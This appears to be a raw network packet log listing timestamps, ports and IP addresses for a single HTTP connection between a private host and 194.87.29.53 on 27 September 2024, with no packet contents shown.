Sep 27, 2024 18:29:02.515172005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515182018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515192986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515206099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515214920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515217066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.515259981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.515537024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515590906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515592098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.515600920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515640974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.516230106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.516274929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.516283989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.516284943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.516323090 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.517819881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.517842054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.517853022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.517870903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.517891884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.519300938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.519310951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.519356012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.519362926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.519401073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.521205902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.521217108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.521226883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.521254063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.521271944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.522443056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.522471905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.522481918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.522510052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.522531033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.524028063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.524071932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.524086952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.524089098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.524133921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.525916100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.525964022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.525978088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.525986910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.526031971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.526920080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.526966095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.526982069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.527019978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.527093887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.527142048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.529519081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.529551029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.529561043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.529591084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.529608011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.530216932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.530262947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.530267000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.530273914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.530303955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.530317068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.531477928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.531518936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.531527996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.531534910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.531564951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.533309937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.533322096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.533332109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.533369064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.533401012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.534626007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.534662962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.534671068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.534672022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.534713984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.536128044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.536181927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.536201954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.536211967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.536247969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.537312984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.537364006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.537364006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.537405968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.537410975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.537455082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.539036989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.539050102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.539058924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.539087057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.539108038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.539978027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.539997101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.540004969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.540030003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.540051937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.541536093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.541578054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.541587114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.541591883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.541611910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.541635036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.543030024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.543050051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.543059111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.543091059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.543118954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.544189930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.544209003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.544245005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.544260025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.544317961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.544372082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.545727968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.545747042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.545754910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.545783043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.545797110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.546751976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.546771049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.546808004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.546821117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.546827078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.546869040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.548567057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.548578024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.548588037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.548618078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.548650026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.549700022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.549710989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.549726963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.549755096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.549777985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.550936937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.550962925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.550977945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.551013947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.551027060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.552366018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.552417040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.552423000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.552445889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.552453995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.552488089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.554296017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.554306984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.554321051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.554352045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.554383993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.557571888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557590961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557638884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.557698011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557744026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.557749987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557760000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557790041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.557810068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.557813883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557825089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557835102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.557857990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.557874918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.564446926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.564480066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.564492941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.564522028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.564552069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.564574003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.564593077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.564625025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.564651012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.564764023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.564820051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.564821005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.564872026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.570852041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.570943117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.571161985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.571223974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.571310043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.571362972 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.573848963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.573862076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.573873043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.573883057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.573918104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.573947906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.577250957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577264071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577275038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577280998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577325106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.577373028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.577420950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577434063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577446938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577481031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.577516079 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.577600002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.577666998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.583147049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.583161116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.583168030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.583271027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.583292961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.583357096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.583482981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.583494902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.583547115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.583595037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.583612919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.583667994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.588156939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588217974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.588303089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588314056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588368893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.588474989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588493109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588506937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588519096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588526011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.588531971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.588562965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.588593006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.595416069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.595426083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.595488071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.595586061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.595597982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.595611095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.595644951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.595676899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.595884085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.595942020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.596045971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.596057892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.596062899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.596128941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.602596045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602608919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602618933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602673054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.602710962 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.602751017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602761984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602773905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602802992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.602834940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.602921963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602933884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.602973938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.603005886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.605283976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.605297089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.605308056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.605349064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.605380058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.605446100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.605458021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.605468988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.605480909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.605501890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.605534077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.609838009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.609850883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.609862089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.609873056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.609905958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.609957933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.609973907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.610018969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.610169888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.610186100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.610230923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.610263109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.613981962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614026070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614037991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614046097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.614068985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614092112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.614120960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.614253998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614268064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614283085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614315033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.614346027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.614566088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.614625931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.618313074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.618333101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.618382931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.618388891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.618417025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.618436098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.618437052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.618478060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.618489981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.618490934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.618505001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.618527889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.618556976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.618556976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.619066000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.619123936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.623028994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.623080969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.623092890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.623126030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.623128891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.623158932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.623176098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.623203039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.623207092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.623255968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.623291016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.623337984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.623415947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.623475075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.629514933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.629578114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.629676104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.629693985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.629705906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.629718065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.629729986 CEST	80	60865	194.87.29.53	192.168.2.4
